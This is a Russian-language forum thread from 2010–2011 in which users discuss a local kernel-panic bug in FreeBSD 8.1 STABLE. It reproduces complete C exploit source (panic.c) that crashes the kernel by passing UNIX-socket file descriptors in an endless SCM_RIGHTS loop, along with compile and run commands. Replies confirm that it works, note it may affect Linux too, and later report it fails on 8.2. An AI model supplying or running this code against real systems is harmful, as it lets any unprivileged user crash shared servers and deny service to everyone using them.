Страница 1 из 1

Kernal panic. Exploit для local user. Когда фикс?

Добавлено: 2010-11-26 20:41:27
gx_ua
http://www.opennet.ru/openforum/vsluhfo ... ?n=oops#52

8.1 STABLE - кернел паник.

эт че простой юзер может положить серв.?
Когда интересно фикс будет...

код с опеннета:

Код: Выделить всё

panic.c:

#include <sys/socket.h>
#include <sys/un.h>
#include <sys/mount.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

static int send_fd (int unix_fd, int fd)
{
  struct msghdr msgh;
  struct cmsghdr *cmsg;
  char buf[CMSG_SPACE (sizeof (fd))];
  memset (&msgh, 0, sizeof (msgh));
  memset (buf, 0, sizeof (buf));

  msgh.msg_control = buf;
  msgh.msg_controllen = sizeof (buf);

  cmsg = CMSG_FIRSTHDR (&msgh);
  cmsg->cmsg_len = CMSG_LEN (sizeof (fd));
  cmsg->cmsg_level = SOL_SOCKET;
  cmsg->cmsg_type = SCM_RIGHTS;

  msgh.msg_controllen = cmsg->cmsg_len;

  memcpy (CMSG_DATA (cmsg), &fd, sizeof (fd));
  return sendmsg (unix_fd, &msgh, 0);
}

int main ()
{
  int fd[2], ff[2];
  int target;
  if (socketpair (PF_UNIX, SOCK_DGRAM, 0, fd)==-1)
    return 1;
  for (;;)
  {
    if (socketpair (PF_UNIX, SOCK_DGRAM, 0, ff)==-1)
	return 2;
    send_fd (ff[0], fd[0]);
    send_fd (ff[0], fd[1]);
    close (fd[1]);
    close (fd[0]);
    fd[0] = ff[0];
    fd[1] = ff[1];
  }
}

Код: Выделить всё

user> gcc -Wall panic.c -o panic
user> ls -l panic
-rwxr-xr-x  1 gx  wheel  5783 26 ноя 19:38 panic1
user> ./panic

Re: Kernal panic. Exploit для local user. Когда фикс?

Добавлено: 2010-11-27 11:28:08
manefesto
блин, работает.
пошел обновляться до stable

Re: Kernal panic. Exploit для local user. Когда фикс?

Добавлено: 2010-11-27 21:28:34
gonzo111
стейбл тебе не поможет , кста эта уязвимость на линупсах тоже есть
уязвимость локальная, да и рута нельзя получить, так что , не сильно критично,
а кто будет баловатся бьем подзатыльник :-D
и помоему в login.conf можно что-то подкрутить тогда не так плачевно будет
ждемсс

Re: Kernal panic. Exploit для local user. Когда фикс?

Добавлено: 2011-03-07 22:16:23
gx_ua
кстате на 8.2 STABLE не пашет)